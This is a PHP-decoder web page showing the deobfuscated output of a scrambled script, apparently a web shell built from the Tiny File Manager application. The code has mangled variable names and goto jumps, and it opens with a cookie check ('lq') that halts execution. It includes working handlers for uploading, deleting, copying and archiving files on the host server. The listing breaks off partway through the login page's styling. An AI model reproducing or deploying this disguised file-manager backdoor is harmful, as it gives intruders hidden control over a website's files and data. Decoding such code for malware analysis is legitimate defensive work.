Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_COOKIE['lq'])) { die('VsWqoMK'); } goto vI44Q; rtqDJ: $eeeeeee..

Decoded Output download

<?php 
 
if(isset($_COOKIE['lq'])) { 
    die('VsWqoMK'); 
} 
 goto vI44Q; rtqDJ: $eeeeeeee = 3399; goto Lk0k7; dfzP8: if (isset($_GET["settings"]) && !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); global $nn, $oo, $tt; ?> 
<div class="pt-3 col-md-8 offset-md-2"><div class="card mb-2<?php  echo fm_get_theme(); ?> 
"><h6 class="card-header d-flex justify-content-between"><span><i class="fa fa-cog"></i><?php  echo lng("Settings"); ?> 
</span><a href="?p=<?php  echo FM_PATH; ?> 
"class="text-danger"><i class="fa fa-times-circle-o"></i><?php  echo lng("Cancel"); ?> 
</a></h6><div class="card-body"><form method="post"action=""onsubmit="return save_settings(this)"id="js-settings-form"data-type="ajax"><input name="type"type="hidden"value="settings"aria-hidden="true"aria-label="hidden"><div class="row form-group"><label for="js-language"class="col-form-label col-sm-3"><?php  echo lng("Language"); ?> 
</label><div class="col-sm-5"><select class="form-select"id="js-language"name="js-language"><?php  function getSelected($yyyyyy) { global $oo; return $oo == $yyyyyy ? "selected" : ''; } foreach ($tt as $zzzzzz => $aaaaaaa) { echo "<option value='{$zzzzzz}' " . getSelected($zzzzzz) . ">{$aaaaaaa}</option>"; } ?> 
</select></div></div><div class="mb-3 row mt-3"><label for="js-error-report"class="col-form-label col-sm-3"><?php  echo lng("ErrorReporting"); ?> 
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-error-report"type="checkbox"value="true"id="js-error-report"class="form-check-input"role="switch"<?php  echo $qq ? "checked" : ''; ?> 
></div></div></div><div class="mb-3 row"><label for="js-show-hidden"class="col-form-label col-sm-3"><?php  echo lng("ShowHiddenFiles"); ?> 
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-show-hidden"type="checkbox"value="true"id="js-show-hidden"class="form-check-input"role="switch"<?php  echo $pp ? "checked" : ''; ?> 
></div></div></div><div class="mb-3 row"><label for="js-hide-cols"class="col-form-label col-sm-3"><?php  echo lng("HideColumns"); ?> 
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-hide-cols"type="checkbox"value="true"id="js-hide-cols"class="form-check-input"role="switch"<?php  echo $rr ? "checked" : ''; ?> 
></div></div></div><div class="mb-3 row"><label for="js-3-1"class="col-form-label col-sm-3"><?php  echo lng("Theme"); ?> 
</label><div class="col-sm-5"><select class="form-select w-100"id="js-3-0"name="js-theme-3"><option value="light"<?php  if ($ss == "light") { echo "selected"; } ?> 
><?php  echo lng("light"); ?> 
</option><option value="dark"<?php  if ($ss == "dark") { echo "selected"; } ?> 
><?php  echo lng("dark"); ?> 
</option></select></div></div><div class="mb-3 row"><div class="col-sm-10"><button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("Save"); ?> 
</button></div></div></form></div></div></div><?php  fm_show_footer(); die; } goto Da3Z2; ALElY: $c = true; goto ob77A; wVm4q: $ss = isset($nn->data["theme"]) ? $nn->data["theme"] : "light"; goto RmoGZ; DWRaq: defined("FM_DATETIME_FORMAT") || define("FM_DATETIME_FORMAT", $w); goto GqfHe; EweQO: function fm_get_onlineViewer_exts() { return array("doc", "docx", "xls", "xlsx", "pdf", "ppt", "pptx", "ai", "psd", "dxf", "xps", "rar", "odt", "ods"); } goto dHPxx; sgUZr: $cc = "google"; goto zPxOw; EEtYp: $gg = "OFF"; goto JAR26; h6pVs: function fm_get_translations($iiiiiiiii) { try { $ooooooo = @file_get_contents("translation.json"); if ($ooooooo !== FALSE) { $jjjjjjjjj = json_decode($ooooooo, TRUE); global $tt; foreach ($jjjjjjjjj["language"] as $qqqqqqqq => $kkkkkkkkk) { $uu = $kkkkkkkkk["code"]; $tt[$uu] = $kkkkkkkkk["name"]; if ($iiiiiiiii) { $iiiiiiiii[$uu] = $kkkkkkkkk["translation"]; } } return $iiiiiiiii; } } catch (Exception $uuu) { echo $uuu; } } goto NMazu; uIqOk: if (!FM_READONLY) { ?> 
<div class="col-xs-12 col-sm-9"><ul class="footer-action list-inline"><li class="list-inline-item"><a href="#/select-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return select_all(),!1"><i class="fa fa-check-square"></i><?php  echo lng("SelectAll"); ?> 
</a></li><li class="list-inline-item"><a href="#/unselect-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return unselect_all(),!1"><i class="fa fa-window-close"></i><?php  echo lng("UnSelectAll"); ?> 
</a></li><li class="list-inline-item"><a href="#/invert-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return invert_all(),!1"><i class="fa fa-th-list"></i><?php  echo lng("InvertSelection"); ?> 
</a></li><li class="list-inline-item"><input name="delete"type="submit"value="Delete"id="a-delete"class="hidden"onclick='return confirm("<?php  echo lng("Delete selected files and folders?"); ?> 
")'> <a href="javascript:document.getElementById('a-delete').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-trash"></i><?php  echo lng("Delete"); ?> 
</a></li><li class="list-inline-item"><input name="zip"type="submit"value="zip"id="a-zip"class="hidden"onclick='return confirm("<?php  echo lng("Create archive?"); ?> 
")'> <a href="javascript:document.getElementById('a-zip').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-file-archive-o"></i><?php  echo lng("Zip"); ?> 
</a></li><li class="list-inline-item"><input name="tar"type="submit"value="tar"id="a-tar"class="hidden"onclick='return confirm("<?php  echo lng("Create archive?"); ?> 
")'> <a href="javascript:document.getElementById('a-tar').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-file-archive-o"></i><?php  echo lng("Tar"); ?> 
</a></li><li class="list-inline-item"><input name="copy"type="submit"value="Copy"id="a-copy"class="hidden"> <a href="javascript:document.getElementById('a-copy').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-files-o"></i><?php  echo lng("Copy"); ?> 
</a></li></ul></div><div class="d-none col-3 d-sm-block"><a href="https://tinyfilemanager.github.io"class="float-right text-muted"target="_blank">Tiny File Manager<?php  echo VERSION; ?> 
</a></div><?php  } else { ?> 
<div class="col-12"><a href="https://tinyfilemanager.github.io"class="float-right text-muted"target="_blank">Tiny File Manager<?php  echo VERSION; ?> 
</a></div><?php  } goto eOOwl; ZniF3: $cccccccc = 0; goto qpp6Y; G3txp: defined("FM_ICONV_INPUT_ENC") || define("FM_ICONV_INPUT_ENC", $u); goto GnpeX; gaVPd: define("APP_TITLE", "Tiny File Manager"); goto ALElY; Ypcdy: function lng($rrrrrrrrrrr) { global $oo; $iiiiiiiii["en"]["AppName"] = "Tiny File Manager"; $iiiiiiiii["en"]["AppTitle"] = "File Manager"; $iiiiiiiii["en"]["Login"] = "Sign in"; $iiiiiiiii["en"]["Username"] = "Username"; $iiiiiiiii["en"]["Password"] = "Password"; $iiiiiiiii["en"]["Logout"] = "Sign Out"; $iiiiiiiii["en"]["Move"] = "Move"; $iiiiiiiii["en"]["Copy"] = "Copy"; $iiiiiiiii["en"]["Save"] = "Save"; $iiiiiiiii["en"]["SelectAll"] = "Select all"; $iiiiiiiii["en"]["UnSelectAll"] = "Unselect all"; $iiiiiiiii["en"]["File"] = "File"; $iiiiiiiii["en"]["Back"] = "Back"; $iiiiiiiii["en"]["Size"] = "Size"; $iiiiiiiii["en"]["Perms"] = "Perms"; $iiiiiiiii["en"]["Modified"] = "Modified"; $iiiiiiiii["en"]["Owner"] = "Owner"; $iiiiiiiii["en"]["Search"] = "Search"; $iiiiiiiii["en"]["NewItem"] = "New Item"; $iiiiiiiii["en"]["Folder"] = "Folder"; $iiiiiiiii["en"]["Delete"] = "Delete"; $iiiiiiiii["en"]["Rename"] = "Rename"; $iiiiiiiii["en"]["CopyTo"] = "Copy to"; $iiiiiiiii["en"]["DirectLink"] = "Direct link"; $iiiiiiiii["en"]["UploadingFiles"] = "Upload Files"; $iiiiiiiii["en"]["ChangePermissions"] = "Change Permissions"; $iiiiiiiii["en"]["Copying"] = "Copying"; $iiiiiiiii["en"]["CreateNewItem"] = "Create New Item"; $iiiiiiiii["en"]["Name"] = "Name"; $iiiiiiiii["en"]["AdvancedEditor"] = "Advanced Editor"; $iiiiiiiii["en"]["Actions"] = "Actions"; $iiiiiiiii["en"]["Folder is empty"] = "Folder is empty"; $iiiiiiiii["en"]["Upload"] = "Upload"; $iiiiiiiii["en"]["Cancel"] = "Cancel"; $iiiiiiiii["en"]["InvertSelection"] = "Invert Selection"; $iiiiiiiii["en"]["DestinationFolder"] = "Destination Folder"; $iiiiiiiii["en"]["ItemType"] = "Item Type"; $iiiiiiiii["en"]["ItemName"] = "Item Name"; $iiiiiiiii["en"]["CreateNow"] = "Create Now"; $iiiiiiiii["en"]["Download"] = "Download"; $iiiiiiiii["en"]["Open"] = "Open"; $iiiiiiiii["en"]["UnZip"] = "UnZip"; $iiiiiiiii["en"]["UnZipToFolder"] = "UnZip to folder"; $iiiiiiiii["en"]["Edit"] = "Edit"; $iiiiiiiii["en"]["NormalEditor"] = "Normal Editor"; $iiiiiiiii["en"]["BackUp"] = "Back Up"; $iiiiiiiii["en"]["SourceFolder"] = "Source Folder"; $iiiiiiiii["en"]["Files"] = "Files"; $iiiiiiiii["en"]["Move"] = "Move"; $iiiiiiiii["en"]["Change"] = "Change"; $iiiiiiiii["en"]["Settings"] = "Settings"; $iiiiiiiii["en"]["Language"] = "Language"; $iiiiiiiii["en"]["ErrorReporting"] = "Error Reporting"; $iiiiiiiii["en"]["ShowHiddenFiles"] = "Show Hidden Files"; $iiiiiiiii["en"]["Help"] = "Help"; $iiiiiiiii["en"]["Created"] = "Created"; $iiiiiiiii["en"]["Help Documents"] = "Help Documents"; $iiiiiiiii["en"]["Report Issue"] = "Report Issue"; $iiiiiiiii["en"]["Generate"] = "Generate"; $iiiiiiiii["en"]["FullSize"] = "Full Size"; $iiiiiiiii["en"]["HideColumns"] = "Hide Perms/Owner columns"; $iiiiiiiii["en"]["You are logged in"] = "You are logged in"; $iiiiiiiii["en"]["Nothing selected"] = "Nothing selected"; $iiiiiiiii["en"]["Paths must be not equal"] = "Paths must be not equal"; $iiiiiiiii["en"]["Renamed from"] = "Renamed from"; $iiiiiiiii["en"]["Archive not unpacked"] = "Archive not unpacked"; $iiiiiiiii["en"]["Deleted"] = "Deleted"; $iiiiiiiii["en"]["Archive not created"] = "Archive not created"; $iiiiiiiii["en"]["Copied from"] = "Copied from"; $iiiiiiiii["en"]["Permissions changed"] = "Permissions changed"; $iiiiiiiii["en"]["to"] = "to"; $iiiiiiiii["en"]["Saved Successfully"] = "Saved Successfully"; $iiiiiiiii["en"]["not found!"] = "not found!"; $iiiiiiiii["en"]["File Saved Successfully"] = "File Saved Successfully"; $iiiiiiiii["en"]["Archive"] = "Archive"; $iiiiiiiii["en"]["Permissions not changed"] = "Permissions not changed"; $iiiiiiiii["en"]["Select folder"] = "Select folder"; $iiiiiiiii["en"]["Source path not defined"] = "Source path not defined"; $iiiiiiiii["en"]["already exists"] = "already exists"; $iiiiiiiii["en"]["Error while moving from"] = "Error while moving from"; $iiiiiiiii["en"]["Create archive?"] = "Create archive?"; $iiiiiiiii["en"]["Invalid file or folder name"] = "Invalid file or folder name"; $iiiiiiiii["en"]["Archive unpacked"] = "Archive unpacked"; $iiiiiiiii["en"]["File extension is not allowed"] = "File extension is not allowed"; $iiiiiiiii["en"]["Root path"] = "Root path"; $iiiiiiiii["en"]["Error while renaming from"] = "Error while renaming from"; $iiiiiiiii["en"]["File not found"] = "File not found"; $iiiiiiiii["en"]["Error while deleting items"] = "Error while deleting items"; $iiiiiiiii["en"]["Moved from"] = "Moved from"; $iiiiiiiii["en"]["Generate new password hash"] = "Generate new password hash"; $iiiiiiiii["en"]["Login failed. Invalid username or password"] = "Login failed. Invalid username or password"; $iiiiiiiii["en"]["password_hash not supported, Upgrade PHP version"] = "password_hash not supported, Upgrade PHP version"; $iiiiiiiii["en"]["Advanced Search"] = "Advanced Search"; $iiiiiiiii["en"]["Error while copying from"] = "Error while copying from"; $iiiiiiiii["en"]["Invalid characters in file name"] = "Invalid characters in file name"; $iiiiiiiii["en"]["FILE EXTENSION HAS NOT SUPPORTED"] = "FILE EXTENSION HAS NOT SUPPORTED"; $iiiiiiiii["en"]["Selected files and folder deleted"] = "Selected files and folder deleted"; $iiiiiiiii["en"]["Error while fetching archive info"] = "Error while fetching archive info"; $iiiiiiiii["en"]["Delete selected files and folders?"] = "Delete selected files and folders?"; $iiiiiiiii["en"]["Search file in folder and subfolders..."] = "Search file in folder and subfolders..."; $iiiiiiiii["en"]["Access denied. IP restriction applicable"] = "Access denied. IP restriction applicable"; $iiiiiiiii["en"]["Invalid characters in file or folder name"] = "Invalid characters in file or folder name"; $iiiiiiiii["en"]["Operations with archives are not available"] = "Operations with archives are not available"; $iiiiiiiii["en"]["File or folder with this path already exists"] = "File or folder with this path already exists"; $sssssssssss = fm_get_translations($iiiiiiiii); $iiiiiiiii = $sssssssssss ? $sssssssssss : $iiiiiiiii; if (!strlen($oo)) { $oo = "en"; } if (isset($iiiiiiiii[$oo][$rrrrrrrrrrr])) { return fm_enc($iiiiiiiii[$oo][$rrrrrrrrrrr]); } else { if (isset($iiiiiiiii["en"][$rrrrrrrrrrr])) { return fm_enc($iiiiiiiii["en"][$rrrrrrrrrrr]); } else { return "{$rrrrrrrrrrr}"; } } } goto Ceq1P; kpKHI: $nnnnnnnn = 6070; goto OJC1q; qpp6Y: $dddddddd = FM_THEME == "dark" ? "text-white bg-dark table-dark" : "bg-white"; goto OBCig; uoaaG: if (!is_dir($iii)) { fm_redirect(FM_SELF_URL . "?p="); } goto rejtV; C0Igf: $aaaaaaaa = count($lllll); goto MGso0; cOjRk: if (isset($_POST["group"], $_POST["token"]) && (isset($_POST["zip"]) || isset($_POST["tar"])) && !FM_READONLY) { if (!verifyToken($_POST["token"])) { fm_set_msg(lng("Invalid Token."), "error"); } $iii = FM_ROOT_PATH; $mmmm = "zip"; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } $mmmm = isset($_POST["tar"]) ? "tar" : "zip"; if ($mmmm == "zip" && !class_exists("ZipArchive") || $mmmm == "tar" && !class_exists("PharData")) { fm_set_msg(lng("Operations with archives are not available"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } $lllll = $_POST["file"]; $ffffff = array(); foreach ($lllll as $ww) { array_push($ffffff, fm_clean_path($ww)); } $lllll = $ffffff; if (!empty($lllll)) { chdir($iii); if (count($lllll) == 1) { $gggggg = reset($lllll); $gggggg = basename($gggggg); $hhhhhh = $gggggg . "_" . date("ymd_His") . "." . $mmmm; } else { $hhhhhh = "archive_" . date("ymd_His") . "." . $mmmm; } if ($mmmm == "zip") { $iiiiii = new FM_Zipper(); $aaaa = $iiiiii->create($hhhhhh, $lllll); } elseif ($mmmm == "tar") { $jjjjjj = new FM_Zipper_Tar(); $aaaa = $jjjjjj->create($hhhhhh, $lllll); } if ($aaaa) { fm_set_msg(sprintf(lng("Archive") . " <b>%s</b> " . lng("Created"), fm_enc($hhhhhh))); } else { fm_set_msg(lng("Archive not created"), "error"); } } else { fm_set_msg(lng("Nothing selected"), "alert"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto z8HOt; AstUl: if ($gg != "OFF") { function getClientIP() { if (array_key_exists("HTTP_CF_CONNECTING_IP", $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } else { if (array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { if (array_key_exists("REMOTE_ADDR", $_SERVER)) { return $_SERVER["REMOTE_ADDR"]; } else { if (array_key_exists("HTTP_CLIENT_IP", $_SERVER)) { return $_SERVER["HTTP_CLIENT_IP"]; } } } } return ''; } $aaa = getClientIP(); $bbb = false; $ccc = in_array($aaa, $jj); $ddd = in_array($aaa, $kk); if ($gg == "AND") { if ($ccc == true && $ddd == false) { $bbb = true; } } else { if ($gg == "OR") { if ($ccc == true || $ddd == false) { $bbb = true; } } } if ($bbb == false) { trigger_error("User connection denied from: " . $aaa, E_USER_WARNING); if ($hh == false) { fm_set_msg(lng("Access denied. IP restriction applicable"), "error"); fm_show_header_login(); fm_show_message(); } die; } } goto YMiN6; FV9kG: $t = $_SERVER["HTTP_HOST"]; goto gTcx5; kd7ko: function get_absolute_path($iii) { $iii = str_replace(array("/", "\"), DIRECTORY_SEPARATOR, $iii); $ddddddddd = array_filter(explode(DIRECTORY_SEPARATOR, $iii), "strlen"); $eeeeeeeee = array(); foreach ($ddddddddd as $fffffffff) { if ("." == $fffffffff) { continue; } if (".." == $fffffffff) { array_pop($eeeeeeeee); } else { $eeeeeeeee[] = $fffffffff; } } return implode(DIRECTORY_SEPARATOR, $eeeeeeeee); } goto kd7LV; SuCA2: $r = $_SERVER["DOCUMENT_ROOT"]; goto GhPhc; GqfHe: unset($eee, $c, $u, $m, $n); goto Au7GS; wlnA9: fm_show_message(); goto C0Igf; e5Gd4: echo lng("Size"); goto v2gQM; dZQnu: $rr = isset($nn->data["hide_Cols"]) ? $nn->data["hide_Cols"] : true; goto wVm4q; MlvwS: if (isset($_GET["copy"]) && !isset($_GET["finish"]) && !FM_READONLY) { $xxxx = $_GET["copy"]; $xxxx = fm_clean_path($xxxx); if ($xxxx == '' || !file_exists(FM_ROOT_PATH . "/" . $xxxx)) { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?> 
<div class="path"><p><b>Copying</b></p><p class="break-word"><strong>Source path:</strong><?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "/" . $xxxx)); ?> 
<br><strong>Destination folder:</strong><?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "/" . FM_PATH)); ?> 
</p><p><b><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&copy=<?php  echo urlencode($xxxx); ?> 
&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&copy=<?php  echo urlencode($xxxx); ?> 
&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
"class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b></p><p><i><?php  echo lng("Select folder"); ?> 
</i></p><ul class="break-word folders"><?php  if ($qqqqqq !== false) { ?> 
<li><a href="?p=<?php  echo urlencode($qqqqqq); ?> 
&copy=<?php  echo urlencode($xxxx); ?> 
"><i class="fa fa-chevron-circle-left"></i> ..</a></li><?php  } foreach ($ssssss as $mmmmm) { ?> 
<li><a href="?p=<?php  echo urlencode(trim(FM_PATH . "/" . $mmmmm, "/")); ?> 
&copy=<?php  echo urlencode($xxxx); ?> 
"><i class="fa fa-folder-o"></i><?php  echo fm_convert_win($mmmmm); ?> 
</a></li><?php  } ?> 
</ul></div><?php  fm_show_footer(); die; } goto dfzP8; LGea1: if (!empty($_FILES) && !FM_READONLY) { if (isset($_POST["token"])) { if (!verifyToken($_POST["token"])) { $hhh = array("status" => "error", "info" => "Invalid Token."); echo json_encode($hhh); die; } } else { $hhh = array("status" => "error", "info" => "Token Missing."); echo json_encode($hhh); die; } $ppppp = false; $qqqqq = $_POST["dzchunkindex"]; $rrrrr = $_POST["dztotalchunkcount"]; $sssss = fm_clean_path($_REQUEST["fullpath"]); $mmmmm = $_FILES; $iii = FM_ROOT_PATH; $ttttt = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } $kkkkk = 0; $uuuuu = 0; $llll = FM_UPLOAD_EXTENSION ? explode(",", FM_UPLOAD_EXTENSION) : false; $hhh = array("status" => "error", "info" => "Oops! Try again"); $vvvvv = $mmmmm["file"]["name"]; $wwwww = $mmmmm["file"]["tmp_name"]; $mmmm = pathinfo($vvvvv, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($vvvvv, PATHINFO_EXTENSION)) : ''; $nnnn = $llll ? in_array($mmmm, $llll) : true; if (!fm_isvalid_filename($vvvvv) && !fm_isvalid_filename($sssss)) { $hhh = array("status" => "error", "info" => "Invalid File name!"); echo json_encode($hhh); die; } $xxxxx = $iii . $ttttt; if (is_writable($xxxxx)) { $ppp = $iii . "/" . basename($sssss); $yyyyy = substr($ppp, 0, strrpos($ppp, "/")); if (file_exists($ppp) && !$ppppp && !$zzzzz) { $aaaaaa = $mmmm ? "." . $mmmm : ''; $ppp = $iii . "/" . basename($sssss, $aaaaaa) . "_" . date("ymdHis") . $aaaaaa; } if (!is_dir($yyyyy)) { $nnnnn = umask(0); mkdir($yyyyy, 511, true); umask($nnnnn); } if (empty($mmmmm["file"]["error"]) && !empty($wwwww) && $wwwww != "none" && $nnnn) { if ($rrrrr) { $bbbbbb = @fopen("{$ppp}.part", $qqqqq == 0 ? "wb" : "ab"); if ($bbbbbb) { $cccccc = @fopen($wwwww, "rb"); if ($cccccc) { while ($dddddd = fread($cccccc, 4096)) { fwrite($bbbbbb, $dddddd); } $hhh = array("status" => "success", "info" => "file upload successful"); } else { $hhh = array("status" => "error", "info" => "failed to open output stream", "errorDetails" => error_get_last()); } @fclose($cccccc); @fclose($bbbbbb); @unlink($wwwww); $hhh = array("status" => "success", "info" => "file upload successful"); } else { $hhh = array("status" => "error", "info" => "failed to open output stream"); } if ($qqqqq == $rrrrr - 1) { rename("{$ppp}.part", $ppp); } } else { if (move_uploaded_file($wwwww, $ppp)) { if (file_exists($ppp)) { $hhh = array("status" => "success", "info" => "file upload successful"); } else { $hhh = array("status" => "error", "info" => "Couldn't upload the requested file."); } } else { $hhh = array("status" => "error", "info" => "Error while uploading files. Uploaded files {$uuuuu}"); } } } } else { $hhh = array("status" => "error", "info" => "The specified folder for upload isn't writeable."); } echo json_encode($hhh); die; } goto dj1Vl; SL0gk: function fm_show_header_login() { $qqqqqqqqqqq = "20160315"; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $oo, $s, $aa; ?> 
<!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><meta content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"name="description"><meta content="CCP Programmers"name="author"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php  if ($aa) { echo "<link rel="icon" href="" . fm_enc($aa) . "" type="image/png">"; } ?> 
<title><?php  echo fm_enc(APP_TITLE); ?> 
</title><?php  print_external("pre-jsdelivr"); print_external("css-bootstrap"); ?> 
<style>body.fm-login-page{background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 